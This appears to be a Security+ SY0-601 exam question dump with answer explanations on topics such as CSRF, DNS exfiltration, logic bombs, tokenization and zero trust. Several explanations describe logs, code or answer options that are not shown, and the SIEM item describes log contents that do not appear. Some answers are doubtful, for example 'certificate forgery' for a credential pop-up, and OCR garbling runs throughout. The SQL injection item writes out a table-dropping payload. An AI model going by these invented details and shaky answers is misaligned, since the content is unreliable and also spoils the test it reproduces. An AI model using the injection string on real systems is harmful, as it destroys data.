SSO stands for Single Sign-On, which is a technology that allows users to log in to multiple websites using a single set of credentials, such as a username and password or a digital certificate. SSO eliminates the need for users to create and remember multiple accounts and passwords for different websites, and simplifies the authentication process. SSO also enhances security by reducing the risk of password reuse, phishing, and identity theft.
An internet company that has created a new collaboration application can implement SSO to allow users to log in to the application with the credentials of other popular websites, such as Google, Facebook, or Twitter. This way, users do not have to create a new account for the application, and can use their existing accounts from other websites that they trust and use frequently. This can increase the user base and the convenience of the application.
Some examples of SSO technologies are OpenID, OAuth, and SAML. These technologies provide different ways of establishing trust and exchanging information between the websites that act as identity providers (IDPs) and the websites that act as relying parties (RPs). The IDPs are the websites that authenticate the users and provide their credentials or attributes to the RPs. The RPs are the websites that accept the users’ credentials or attributes from the IDPs and grant them access to their services.
A security analyst has been reading about a newly discovered cyberattack from a known threat actor Which of the following would best support the analyst's review of the tactics, techniques, and protocols the throat actor was observed using in previous campaigns?
The MITRE ATT&CK framework would best support the analyst’s review of the tactics, techniques, and procedures (TTPs) the threat actor was observed using in previous campaigns. The MITRE ATT&CK framework is a knowledge base that describes the common TTPs used by various threat actors across different stages of an attack lifecycle. The framework can help security analysts understand how adversaries operate, what tools they use, what vulnerabilities they exploit, what indicators they leave behind, etc. The framework can also help security analysts improve their detection and response capabilities by providing recommendations and best practices.
A security engineer must deploy two wireless routers in an office suite Other tenants in the office building should not be able to connect to this wireless network Which of the following protocols should the engineer implement to ensure the strongest encryption?
WPA2 (Wi-Fi Protected Access 2) is a network security protocol that should be implemented to ensure the strongest encryption for a wireless network. WPA2 is an upgrade from the original WPA protocol, which was designed as a replacement for the older and less secure WEP protocol. WPA2 implements the mandatory elements of IEEE 802.11i standard, including CCMP, an AES-based encryption mode. WPA2 provides stronger security and data protection than WPS (Wi-Fi Protected Setup), WAP (Wireless Application Protocol), or HTTPS (Hypertext Transfer Protocol Secure)
A security analyst receives alerts about an internal system sending a large amount of unusual DNS queries to systems on the internet over short periods of time during non-business hours. Which of the following is most likely occurring?
Data is being exfiltrated when an internal system is sending a large amount of unusual DNS queries to systems on the internet over short periods of time during non-business hours. Data exfiltration is the unauthorized transfer of data from a system or network to an external destination or actor. Data exfiltration can be performed by malicious insiders or external attackers who have compromised the system or network. DNS queries are requests for resolving domain names to IP addresses. DNS queries can be used as a covert channel for data exfiltration by encoding data in the domain names or subdomains and sending them to a malicious DNS server that can decode and collect the data. References: https://www.comptia.org/blog/what-is-data-exfiltration https: //www.certblaster.com/wp-content/uploads/2020/11/CompTIA-Security-SY0-601-Exam-Objectives-1.0.pdf
A security analyst is reviewing the output of a web server log and notices a particular account is attempting to transfer large amounts of money:
GET http://yourbank.com/transfer.do?acctnum=08764 6959 &amount=500000 HTTP/1.1
GET http://yourbank.com/transfer.do?acctnum=087646958 &amount=5000000 HTTP/1.1
GET http://yourbank.com/transfer.do?acctnum=-087646958 &amount=1000000 HTTP/1.1
GET http://yourbank.com/transfer.do?acctnum=087646953 &amount=500 HTTP/1.1
Which of the following types of attacks is most likely being conducted?
CSRF stands for Cross-Site Request Forgery, which is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated1. In this case, the attacker may have tricked the user into clicking a malicious link or visiting a malicious website that sends forged requests to the web server of the bank, using the user’s session cookie or other credentials. The web server then performs the money transfer requests as if they were initiated by the user, without verifying the origin or validity of the requests.
A. SQLi. This is not the correct answer, because SQLi stands for SQL Injection, which is an attack that exploits a vulnerability in a web application’s database layer, where malicious SQL statements are inserted into an entry field for execution2. The output of the web server log does not show any SQL statements or commands.
B. CSRF. This is the correct answer, because CSRF is an attack that exploits the trust a web server has in a user’s browser, where malicious requests are sent to the web server using the user’s credentials1. The output of the web server log shows multiple GET requests with different account numbers and amounts, which may indicate a CSRF attack.
C. Spear phishing. This is not the correct answer, because spear phishing is an attack that targets a specific individual or organization with a personalized email or message that contains a malicious link or attachment3. The output of the web server log does not show any email or message content or headers.
D. API. This is not the correct answer, because API stands for Application Programming Interface, which is a set of rules and specifications that allow software components to communicate and exchange data. API is not an attack method, but rather a way of designing and developing software applications.
Which of the following test describes the risk that is present once mitigations are applied?
Residual risk is the risk that remains after applying risk mitigation measures, such as controls, policies, or procedures. It reflects the level of uncertainty and potential impact that cannot be completely eliminated by risk management efforts. Residual risk is calculated by subtracting the risk reduction from the inherent risk, or by multiplying the inherent risk by the risk control effectiveness. Residual risk should be compared to the acceptable level of risk to determine if further action is needed or if the risk can be accepted by the management. References: CompTIA Security+ SY0-601 Certification Study Guide, Chapter 10: Summarizing Risk Management Concepts, page 456; Residual risk - Wikipedia; Residual risk definition and why it’s important - Advisera
An incident response technician collected a mobile device during an investigation. Which of the following should the technician do to maintain chain of custody?
Documenting the collection and requiring a sign-off when possession changes are essential steps for maintaining chain of custody during an investigation. Chain of custody is the process of documenting and preserving the integrity and authenticity of evidence from the time it is collected until it is presented in court. Documenting the collection involves recording information such as date, time, location, description, serial number, etc., of the evidence. Requiring a sign-off when possession changes involves obtaining signatures from every person who handles or transfers the evidence.
When implementing automation with loT devices, which of the following should be considered first to keep the network secure?
Communication protocols are the rules and standards that govern how devices communicate over a network. They are essential for ensuring security, reliability, and compatibility among different loT devices. Some examples of communication protocols for loT are MQTT, CoAP, HTTP, and Zigbee.
A company uses specially configured workstations for any work that requires administrator privileges to its Tier 0 and Tier 1 systems The company follows a strict process to harden systems immediately upon delivery Even with these strict security measures in place an incident occurred from one of the workstations The root cause appears to be that the SoC was tampered with or replaced Which of the following most likely occurred?
A supply-chain attack is a type of cyberattack that targets a trusted third-party vendor who offers services or products vital to the supply chain. A supply-chain attack can occur in software or hardware. In this case, the most likely scenario is that the SoC (system on chip) was compromised by a malicious actor before it was delivered to the company, either by tampering with or replacing it with a malicious version. This would allow the attacker to gain access to the company’s systems through the specially configured workstations
Which of the following is an administrative control that would be most effective to reduce the occurrence of malware execution?
Security awareness training is an administrative control that educates users on the best practices and policies for protecting the organization’s data and systems from various threats, such as malware, phishing, social engineering, etc. Security awareness training can reduce the occurrence of malware execution by increasing the users’ ability to recognize and avoid malicious links, attachments, downloads, or websites.
A company recently experienced a data breach and the source was determined to be an executive who was charging a phone in a public area. Which of the following would most likely have prevented this breach?
A USB data blocker is a device that prevents data transfer between a USB device and a host computer, while still allowing charging. This can prevent data breaches caused by malicious USB chargers or devices that may attempt to access or infect the phone’s data.
An organization wants to ensure that proprietary information is not inadvertently exposed during facility tours. Which of the following would the organization implement to mitigate this risk?
A clean desk policy is a set of rules that require employees to clear their desks of any documents, papers, or devices that contain sensitive or confidential information when they leave their workstations. This policy helps to prevent unauthorized access, theft, or disclosure of proprietary information during facility tours or other situations where outsiders may visit the premises.
A. Clean desk policy. This is the correct answer, because a clean desk policy is a simple and effective way to mitigate the risk of exposing proprietary information during facility tours.
A worldwide manufacturing company has been experiencing email account compromises. In one incident, a user logged in from the corporate office in France, but then seconds later, the same user account attempted a login from Brazil. Which of the following account policies would best prevent this type of attack?
Impossible travel time is a security metric that detects anomalous login attempts based on the time and distance between two locations. Impossible travel time can help prevent email account compromises by flagging login attempts that occur within a short time span from locations that are far apart, such as France and Brazil. Impossible travel time can indicate that an attacker has stolen or guessed the user’s credentials and is trying to access their email account from another location.
A software company adopted the following processes before releasing software to production
• Peer review
• Static code scanning
A considerable number of vulnerabilities are still being detected when code is executed on production Which of the following security tools can improve vulnerability detection on this environment?
A dynamic code analysis tool is a security tool that can improve vulnerability detection on this environment by testing and analyzing the software during runtime. Dynamic code analysis can identify potential vulnerabilities, errors, or performance issues that may not be visible in the source code or during static analysis, such as memory leaks, buffer overflows, or input validation errors. Dynamic code analysis can also simulate real-world scenarios and user inputs to evaluate the behavior and functionality of the software
A security analyst has been tasked with ensuring all programs that are deployed into the enterprise have been assessed in a runtime environment Any critical issues found in the program must be sent back to the developer for verification and remediation. Which of the following lost describes the type of assessment taking place?
Dynamic code analysis is a technique that tests and analyzes an application during runtime to identify potential vulnerabilities, errors, or performance issues. Dynamic code analysis can detect problems that may not be visible in the source code or during static analysis, such as memory leaks, buffer overflows, or input validation errors. Dynamic code analysis can also simulate real-world scenarios and user inputs to evaluate the behavior and functionality of the application. References: CompTIA Security+ SY0-601 Certification Study Guide, Chapter 5: Implementing Host Security Solutions, page 246; What is Dynamic Code Analysis?
An attacker is attempting to harvest user credentials on a client's website. A security analyst notices multiple attempts of random usernames and passwords. When the analyst types in a random username and password, the logon screen displays the following message:
The username you entered does not exist.
Which of the following should the analyst recommend be enabled?
Username lockout is a security feature that prevents an attacker from brute-forcing user credentials by locking out an account after a certain number of failed login attempts. This can prevent the attacker from harvesting user credentials on a client’s website. The logon screen message that reveals the username does not exist is a security weakness that can help the attacker to guess valid usernames. A better message would be “Invalid username or password”.
A security architect at a large, multinational organization is concerned about the complexities and overhead of managing multiple encryption keys securely in a multicioud provider
environment. The security architect is looking for a solution with reduced latency to allow the incorporation of the organization's existing keys and to maintain consistent, centralized control
and management regardless of the data location. Which of the following would best meet the architect's objectives?
HSMaas stands for Hardware Security Module as a Service, which is a cloud-based service that provides secure and scalable key management and cryptographic operations for data encryption and decryption. HSMaas allows the organization to use its own keys or generate new ones, and to control and manage them centrally regardless of where the data is stored or processed. HSMaas also reduces the latency and complexity of managing multiple encryption keys across different cloud providers, as well as the cost and maintenance of deploying physical HSM devices.
A. Trusted Platform Module. This is not the correct answer, because a Trusted Platform Module (TPM) is a hardware chip that provides secure storage and generation of cryptographic keys on a device, such as a laptop or a server. A TPM does not offer a cloud-based solution for key management and encryption across multiple cloud providers.
B. laaS. This is not the correct answer, because laaS stands for Infrastructure as a Service, which is a cloud computing model that provides virtualized computing resources, such as servers, storage, and networks, over the internet. laaS does not provide a specific solution for key management and encryption across multiple cloud providers.
C. HSMaas. This is the correct answer, because HSMaas stands for Hardware Security Module as a Service, which is a cloud-based service that provides secure and scalable key management and cryptographic operations for data encryption and decryption across multiple cloud providers.
D. PaaS. This is not the correct answer, because PaaS stands for Platform as a Service, which is a cloud computing model that provides a platform for developing and deploying applications over the internet. PaaS does not provide a specific solution for key management and encryption across multiple cloud providers.
A financial analyst is expecting an email containing sensitive information from a client. When the email arrives, the analyst receives an error and is unable to open the encrypted message. Which of the following is the most likely cause of the issue?
The most likely cause of the issue is that the S/MIME plug-in is not enabled. S/MIME stands for Secure/Multipurpose Internet Mail Extensions, which is a standard that allows email users to encrypt and digitally sign their messages. S/MIME uses public key cryptography and certificates to ensure confidentiality, integrity, authenticity, and non-repudiation of email communications. However, S/MIME requires both the sender and the receiver to have compatible email clients and plug-ins that support S/MIME functionality. If the receiver does not have the S/MIME plug-in enabled, they will not be able to decrypt or verify the encrypted message.
A security analyst it investigating an incident to determine what an attacker was able to do on a compromised Laptop. The analyst reviews the following SIEM log:
Which of the following describes the method that was used to compromise the laptop?
The SIEM log shows that the user opened an email attachment named “Invoice.xlsx” and then executed a PowerShell script that downloaded and ran a malicious file from a remote server. This indicates that the attacker was able to bypass the application approve list by emailing a spreadsheet attachment with an embedded PowerShell in the file. This is a common technique used by malware authors to evade detection and deliver their payloads1.
A company currently uses passwords for logging in to company-owned devices and wants to add a second authentication factor Per corporate policy, users are not allowed to have smartphones at their desks Which of the following would meet these requirements?
A smart card is a physical device that contains an embedded integrated circuit chip that can store and process data. A smart card can be used as a second authentication factor, in addition to a password, to verify the identity of a user who wants to log in to company-owned devices. A smart card requires a smart card reader to access the data on the chip, which adds an extra layer of security. A smart card meets the requirements of the company because it does not involve a smartphone or any other device that is not allowed at the desks
Which of the following components can be used to consolidate and forward inbound internet traffic to multiple cloud environments though a single firewall?
A transit gateway is a network transit hub that can be used to interconnect virtual private clouds (VPCs) and on-premises networks. A transit gateway can consolidate and forward inbound internet traffic to multiple cloud environments through a single firewall by offering the following features:
Which of the following security controls s sed to isolate a section of the network and its externally available resources from the internal corporate network in order to reduce the number of
An air gap is a security measure that physically isolates a section of the network from any other network or device that could compromise its security. An air gap prevents any unauthorized access, data leakage, or malware infection through network connections, such as Ethernet cables, wireless signals, or Bluetooth devices. An air gap can be used to protect sensitive or critical systems and data from external threats, such as hackers, spies, or cyberattacks.
Which of the following is used to quantitatively measure the criticality of a vulnerability?
The correct answer is B. CVSS.
CVSS stands for Common Vulnerability Scoring System. It is a framework that provides a standardized way to measure the criticality of a vulnerability based on various factors, such as the impact, exploitability, and remediation level of the vulnerability. CVSS assigns a numerical score from 0 to 10 to each vulnerability, where 0 means no risk and 10 means the highest risk. CVSS also provides a qualitative rating for each score, such as low, medium, high, or critical. CVSS helps organizations prioritize the remediation of vulnerabilities based on their severity and potential impact12.
CVE stands for Common Vulnerabilities and Exposures. It is a list of publicly known and standardized identifiers for vulnerabilities and exposures in software and hardware systems. CVE provides a brief description of each vulnerability or exposure, but does not assign a score or rating to them. CVE helps organizations communicate and share information about vulnerabilities and exposures in a consistent and reliable way3 .
CIA stands for Confidentiality, Integrity, and Availability. It is a model that defines the three main objectives of information security. Confidentiality means protecting data from unauthorized access or disclosure. Integrity means ensuring data is accurate and consistent and has not been tampered with. Availability means ensuring data is accessible and usable by authorized parties when needed. CIA helps organizations design and implement security controls and policies to protect their data and systems .
CERT stands for Computer Emergency Response Team. It is a group of experts who respond to security incidents and provide guidance and assistance to mitigate and prevent cyberattacks. CERT also conducts research and analysis on cybersecurity trends and issues, and disseminates information and best practices to the public. CERT helps organizations improve their security posture and resilience against cyber threats .
For more information on CVSS and other concepts related to vulnerability assessment and management, you can refer to [this video] or [this guide] from CompTIA Security+.
A host was infected with malware. During the incident response. Joe, a user, reported that he did not receive any emails with links, but he had been browsing the internet all day. Which of the following would most likely show where the malware originated?
The web server logs are records of the requests and responses that occur between a web server and a web client, such as a browser. The web server logs can show where the malware originated by indicating the source IP address, the destination URL, the date and time, the HTTP status code, the user agent, etc., of each request and response. The web server logs can help the incident response team to trace back the malicious website that infected the host with malware.
The Chief Executive Officer (CEO) of an organization would like staff members to have the flexibility to work from home anytime during business hours, including during a pandemic or crisis. However, the CEO is concerned that
some staff members may take advantage of the flexibility and work from high-risk countries while on holiday or outsource work to a third-party organization in another country. The Chief Information Officer believes the company
can implement some basic controls to mitigate the majority of the risk. Which of the following would be best to mitigate the CEO's concerns? (Select two).
Geolocation and time-of-day restrictions would be best to mitigate the CEO’s concerns about staff members working from high-risk countries while on holiday or outsourcing work to a third-party organization in another country. Geolocation is a technique that involves determining the physical location of a device or user based on its IP address, GPS coordinates, Wi-Fi signals, or other indicators. Time-of-day restrictions are policies that limit the access or usage of resources based on the time of day or week. Geolocation and time-of-day restrictions can help to enforce access control rules, prevent unauthorized access, detect anomalous behavior, and comply with regulations. References: https://www.comptia.org/blog/what-is-geolocation https://www.certblaster.com/wp-content/uploads/2020/11/CompTIA-Security-SY0-601-Exam-Objectives-1.0.pdf
An organization suffered numerous multiday power outages at its current location. The Chief Executive Officer wants to create a disaster recovery strategy to resolve this issue. Which of the following options offer low-cost solutions? (Select two).
A generator and a UPS (uninterruptible power supply) are low-cost solutions that can provide backup power to an organization in case of a power outage. A generator is a device that converts mechanical energy into electrical energy, while a UPS is a device that provides battery power to a system when the main power source fails. A generator and a UPS can help the organization to maintain its operations and prevent data loss during a power outage.
A user's login credentials were recently compromised During the investigation, the security analyst determined the user input credentials into a pop-up window when prompted to confirm the username and password However the trusted website does not use a pop-up for entering user colonials Which of the following attacks occurred?
The user input credentials into a pop-up window that was not part of the trusted website. This suggests that the attacker was able to forge a certificate and present a fake website that looked like the legitimate one. This is a type of attack known as certificate forgery, which exploits the trust relationship between users and websites that use SSL/TLS encryption2.
A privileged user at a company stole several proprietary documents from a server. The user also went into the log files and deleted all records of the incident The systems administrator has just informed investigators that other log files are available for review Which of the following did the administrator most likely configure that will assist the investigators?
A syslog server is a centralized log management system that collects, stores, and manages syslog messages generated by various network devices, servers, applications, and other sources. A syslog server can assist the investigators in this case because it can provide an alternative source of log files that may contain evidence of the incident. The privileged user may have deleted the local log files on the server, but not the remote log files on the syslog server. Therefore, the investigators can access the syslog server and analyze the log messages related to the user’s activities and actions
Server administrators want to configure a cloud solution so that computing memory and processor usage are maximized most efficiently across a number of virtual servers. They also need to avoid potential denial-of-service situations caused by availability. Which of the following should administrators configure to maximize system availability while efficiently utilizing available computing power?
Dynamic resource allocation is a technique that allows cloud providers to adjust the amount and distribution of computing resources according to the changing demand and capacity of the cloud environment1. Dynamic resource allocation can improve the efficiency and utilization of available computing power, as well as reduce the cost and energy consumption of the cloud infrastructure1. Dynamic resource allocation can also enhance the system availability and reliability by avoiding potential denial-of-service situations caused by overloading or under-provisioning of resources1.
Given the following snippet of Python code:
Which of the following types of malware MOST likely contains this snippet?
A logic bomb is a type of malware that executes malicious code when certain conditions are met. A logic bomb can be triggered by various events, such as a specific date or time, a user action, a system configuration change, or a command from an attacker. A logic bomb can perform various malicious actions, such as deleting files, encrypting data, displaying messages, or launching other malware.
The snippet of Python code shows a logic bomb that executes a function called delete_all_files() when the current date is December 25th. The code uses the datetime module to get the current date and compare it with a predefined date object. If the condition is true, the code calls the delete_all_files() function, which presumably deletes all files on the system.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.kaspersky.com/resource-center/definitions/logic-bomb
An organization recently completed a security control assessment The organization determined some controls did not meet the existing security measures. Additional mitigations are needed to lessen the risk of the non-complaint controls. Which of the following best describes these
Compensating controls are additional security measures that are implemented to reduce the risk of non-compliant controls. They do not fix the underlying issue, but they provide an alternative way of achieving the same security objective. For example, if a system does not have encryption, a compensating control could be to restrict access to the system or use a secure network connection.
Which of Ihe following control types is patch management classified under?
Patch management is classified as a corrective control because it is used to correct vulnerabilities or weaknesses in systems and applications after they have been identified. It is a reactive approach that aims to fix problems that have already occurred rather than prevent them from happening in the first place.
A security administrator is compiling information from all devices on the local network in order to gain better visibility into user activities. Which of the following is the best solution to meet
SIEM stands for Security Information and Event Management, which is a solution that can collect, correlate, and analyze security logs and events from various devices on a network. SIEM can provide better visibility into user activities by generating reports, alerts, dashboards, and metrics. SIEM can also help detect and respond to security incidents, comply with regulations, and improve security posture.
While researching a data exfiltration event, the security team discovers that a large amount of data was transferred to a file storage site on the internet. Which of the following controls would work best to reduce the risk of further exfiltration using this method?
Data loss prevention (DLP) is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help reduce the risk of further exfiltration using file storage sites on the internet by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, upload, or download sensitive data to or from file storage sites based on predefined policies and rules.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.microsoft.com/en-us/security/business/security-101/what-is-data-loss-prevention-dlp
A desktop computer was recently stolen from a desk located in the lobby of an office building. Which of the following would be the best way to secure a replacement computer and deter future theft?
Using cable locks on the hardware can be an effective way to secure a desktop computer and deter future theft. Cable locks are physical security devices that attach to the computer case and to a nearby stationary object, such as a desk or wall. This makes it more difficult for a thief to remove the computer without damaging it or attracting attention.
Installing proximity card readers on all entryway doors can enhance physical security by limiting access to authorized individuals. Deploying motion sensor cameras in the lobby can also help deter theft by capturing images of any unauthorized individuals entering the premises or attempting to steal the computer. Encrypting the hard drive on the replacement desktop can also help protect sensitive data in the event of theft, but it does not provide physical security for the device itself.
A Chief Information Security Officer (CISO) is evaluating the dangers involved in deploying a new ERP system for the company. The CISO categorizes the system, selects the controls that apply to the system, implements the controls, and then assesses the success of the controls before authorizing the system. Which of the following is the CISO using to evaluate the environment for this new ERP system?
The NIST Risk Management Framework (RMF) is a process for evaluating the security of a system and implementing controls to reduce potential risks associated with it. The RMF process involves categorizing the system, selecting the controls that apply to the system, implementing the controls, and then assessing the success of the controls before authorizing the system. For more information on the NIST Risk Management Framework and other security processes, refer to the CompTIA Security+ SY0-601 Official Text Book and Resources.
While performing a threat-hunting exercise, a security analyst sees some unusual behavior occurring in an application when a user changes the display name. The security analyst decides to perform a static code analysis and receives the following pseudocode:
Which of the following attack types best describes the root cause of the unusual behavior?
SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input12. A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system3.
According to the pseudocode given in the question, the application takes a user input for display name and concatenates it with a SQL query to update the user’s profile. This is a vulnerable practice that allows an attacker to inject malicious SQL code into the query and execute it on the database. For example, an attacker could enter something like this as their display name:
John'; DROP TABLE users; --
This would result in the following SQL query being executed:
UPDATE profile SET displayname = 'John'; DROP TABLE users; --' WHERE userid = 1;
The semicolon (;) terminates the original update statement and starts a new one that drops the users table. The double dash (–) comments out the rest of the query. This would cause a catastrophic loss of data for the application.
Security analysts have noticed the network becomes flooded with malicious packets at specific times of the day. Which of the following should the analysts use to investigate this issue?
Correlation dashboards are tools that allow security analysts to monitor and analyze multiple sources of data and events in real time. They can help identify patterns, trends, anomalies, and threats by correlating different types of data and events, such as network traffic, logs, alerts, and incidents. Correlation dashboards can help investigate network flooding by showing the source, destination, volume, and type of malicious packets and their impact on the network performance and availability. References: https://www.comptia.org/blog/what-is-a-correlation-dashboard
A security engineer learns that a non-critical application was compromised. The most recent version of the application includes a malicious reverse proxy while the application is running. Which of the following should the engineer is to quickly contain the incident with the least amount of impact?
A reverse proxy backdoor is a malicious reverse proxy that can intercept and manipulate the traffic between the client and the web server3. This can allow an attacker to access sensitive data or execute commands on the web server.
One possible way to quickly contain the incident with the least amount of impact is to add the application hash to the organization’s blocklist. A blocklist is a list of applications or files that are not allowed to run on a system or network. By adding the application hash to the blocklist, the security engineer can prevent the malicious application from running and communicating with the reverse proxy backdoor.
An organization recently released a zero-trust policy that will enforce who is able to remotely access certain data. Authenticated users who access the data must have a need to know, depending on their level of permissions.
Which of the following is the first step the organization should take when implementing the policy?
zero trust is a security strategy that assumes breach and verifies each request as though it originates from an untrusted network12. A zero trust policy is a set of “allow rules” that specify conditions for accessing certain resources3.
According to one source4, the first step in implementing a zero trust policy is to identify and classify all data and assets in the organization. This helps to determine the level of sensitivity and risk associated with each resource and apply appropriate access controls.
Classifying all data on the file servers is the first step in implementing a zero trust policy because it helps to determine the level of sensitivity and risk associated with each resource and apply appropriate access controls.
A company is launching a website in a different country in order to capture user information that a marketing business can use. The company itself will not be using the information. Which
of the following roles is the company assuming?
A data collector is a person or entity that collects personal data from individuals for a specific purpose. A data collector may or may not be the same as the data controller or the data processor, depending on who determines the purpose and means of processing the data and who actually processes the data.
A manager for the development team is concerned about reports showing a common set of vulnerabilities. The set of vulnerabilities is present on almost all of the applications developed by the team. Which of the following approaches would be most effective for the manager to use to
address this issue?
Invest in secure coding training and application security guidelines is the most effective approach for the manager to use to address the issue of common vulnerabilities in the applications developed by the team. Secure coding training can help the developers learn how to write code that follows security best practices and avoids common mistakes or flaws that can introduce vulnerabilities. Application security guidelines can provide a set of standards and rules for developing secure applications that meet the company’s security requirements and policies. By investing in secure coding training and application security guidelines, the manager can improve the security awareness and skills of the development team and reduce the number of vulnerabilities in their applications. References: 1 CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 2 CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3 https://www.comptia.org/blog/what-is-secure-coding
An employee's company email is configured with conditional access and requires that MFA is enabled and used. An example of MFA is a phone call and:
An authentication application can generate one-time passwords or QR codes that are time-based and unique to each user and device. It does not rely on network connectivity or SMS delivery, which can be intercepted or delayed. It also does not require the user to respond to a push notification, which can be accidentally approved or ignored.
A backup operator wants to perform a backup to enhance the RTO and RPO in a highly time- and storage-efficient way that has no impact on production systems. Which of the following backup types should the operator use?
A snapshot backup is a type of backup that captures the state of a system at a point in time. It is highly time- and storage-efficient because it only records the changes made to the system since the last backup. It also has no impact on production systems because it does not require them to be offline or paused during the backup process. References: https://www.comptia.org/blog/what-is-a-snapshot-backup
A company would like to protect credit card information that is stored in a database from being exposed and reused. However, the current POS system does not support encryption. Which of the following would be BEST suited to secure this information?
(Give me related explanation and references from CompTIA Security+ SY0-601 documents for Correct answer option)
Tokenization replaces sensitive data with non-sensitive data, such as a unique identifier. This means that the data is still present in the system, but the sensitive information itself is replaced with the token. Tokenization is more secure than masking, which only obscures the data but does not eliminate it. DLP is not suitable for this task, as it is designed to prevent the loss or leakage of data from the system. SSL/TLS can be used to secure the transmission of data, but it cannot prevent the data itself from being exposed or reused. For more information, please refer to CompTIA Security+ SY0-601 Exam Objectives, Section 3.3: Explain the security purpose of authentication, authorization and accounting (AAA) services, and Section 4.7: Explain the purpose and characteristics of various types of encryption.
A security administrator needs to provide secure access to internal networks for external partners The administrator has given the PSK and other parameters to the third-party security administrator. Which of the following is being used to establish this connection?
IPSec is a protocol suite that provides secure communication over IP networks. It uses encryption, authentication, and integrity mechanisms to protect data from unauthorized access or modification. IPSec can operate in two modes: transport mode and tunnel mode. In tunnel mode, IPSec can create a virtual private network (VPN) between two endpoints, such as external partners and internal networks. To establish a VPN connection, IPSec requires a pre-shared key (PSK) or other parameters to negotiate the security association. References: https://www.comptia.org/content/guides/what-is-vpn
The alert indicates an attacker entered thousands of characters into the text box of a web form. The web form was intended for legitimate customers to enter their phone numbers. Which of the attacks has most likely occurred?
A buffer overflow attack occurs when an attacker inputs more data than the buffer can store, causing the excess data to overwrite adjacent memory locations and corrupt or execute code1. In this case, the attacker entered thousands of characters into a text box that was intended for phone numbers, which are much shorter. This could result in a buffer overflow attack that compromises the web application or server. The other options are not related to this scenario. Privilege escalation is when an attacker gains unauthorized access to higher-level privileges or resources2. Resource exhaustion is when an attacker consumes all the available resources of a system, such as CPU, memory, disk space, etc., to cause a denial of service3. Cross-site scripting is when an attacker injects malicious code into a web page that is executed by the browser of a victim who visits the page.
References: 1: https://www.fortinet.com/resources/cyberglossary/buffer-overflow 2: https://www.imperva.com/learn/application-security/pr ivilege-escalation/ 3: https://www.imperva.com/learn/application-security/resource-exhaustion/ : https://owasp.org/www-community/attacks/xss/
Leveraging the information supplied below, complete the CSR for the server to set up TLS (HTTPS)
• Hostname: ws01
• Domain: comptia.org
• IPv4: 10.1.9.50
• IPV4: 10.2.10.50
• Root: home.aspx
• DNS CNAME:homesite.
Drag the various data points to the correct locations within the CSR. Extension criteria belong in the let hand column and values belong in the corresponding row in the right hand column.
Graphical user interface, application Description automatically generated
A security administrator needs to add fault tolerance and load balancing to the connection from the file server to the backup storage. Which of the following is the best choice to achieve this objective?
to achieve the objective of adding fault tolerance and load balancing to the connection from the file server to the backup storage is multipathing1. Multipathing is a technique that allows a system to use more than one path to access a storage device1. This can improve performance by distributing the workload across multiple paths, and also provide fault tolerance by switching to an alternative path if one path fails1. Multipathing can be implemented using software or hardware solutions1.
A security analyst is reviewing packet capture data from a compromised host On the In the packet capture. analyst locates packets that contain large of text, Which Of following is most likely installed on compromised host?
A keylogger is a type of malware that records the keystrokes of the user and sends them to a remote attacker. The attacker can use the keystrokes to steal the user’s credentials, personal information, or other sensitive data. A keylogger can generate packets that contain large amounts of text, as the packet capture data shows.
A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator most likely use to confirm the suspicions?
Nmap is a tool that is used to scan IP addresses and ports in a network and to detect installed applications. Nmap can help a security administrator determine the services running on a server by sending various packets to the target and analyzing the responses. Nmap can also perform various tasks such as OS detection, version detection, script scanning, firewall evasion, and vulnerability scanning.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://nmap.org/
A corporate security team needs to secure the wireless perimeter of its physical facilities to ensure only authorized users can access corporate resources. Which of the following should the security team do? (Refer the answer from CompTIA SY0-601 Security+ documents or guide at comptia.org)
Based on CompTIA SY0-601 Security+ guide, the answer to the question is A. Identify rogue access points.
To secure the wireless perimeter of its physical facilities, the corporate security team should focus on identifying rogue access points, which are unauthorized access points that have been set up by employees or outsiders to bypass security controls. By identifying and removing these rogue access points, the team can ensure that only authorized users can access corporate resources through the wireless network.
A security administrator needs to block a TCP connection using the corporate firewall, Because this connection is potentially a threat. the administrator not want to back an RST Which of the following actions in rule would work best?
the difference between drop and reject in firewall is that the drop target sends nothing to the source, while the reject target sends a reject response to the source. This can affect how the source handles the connection attempt and how fast the port scanning is. In this context, a human might say that the best action to block a TCP connection using the corporate firewall is A. Drop, because it does not send back an RST packet and it may slow down the port scanning and protect against DoS attacks.
A security analyst is investigating a report from a penetration test. During the penetration test, consultants were able to download sensitive data from a back-end server. The back-end server was exposing an API that should have only been available from the company’s mobile application. After reviewing the back-end server logs, the security analyst finds the following entries:
Which of the following is the most likely cause of the security control bypass?
User-agent spoofing is a technique that involves changing the user-agent string of a web browser or other client to impersonate another browser or device. The user-agent string is a piece of information that identifies the client to the web server and can contain details such as the browser name, version, operating system, and device type. User-agent spoofing can be used to bypass security controls that rely on the user-agent string to determine the legitimacy of a request. In this scenario, the consultants were able to spoof the user-agent string of the company’s mobile application and access the API that should have been restricted to it.
Which Of the following control types is patch management classified under?
Patch management is a process that involves applying updates or fixes to software to address bugs, vulnerabilities, or performance issues. Patch management is classified under corrective control type, which is a type of control that aims to restore normal operations after an incident or event has occurred. Corrective controls can help mitigate the impact or damage caused by an incident or event and prevent it from happening again.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.csoonline.com/article/2124681/why-third-party-security-is-your-security.html
The application development team is in the final stages of developing a new healthcare application. The team has requested copies of current PHI records to perform the final testing.
Which of the following would be the best way to safeguard this information without impeding the testing process?
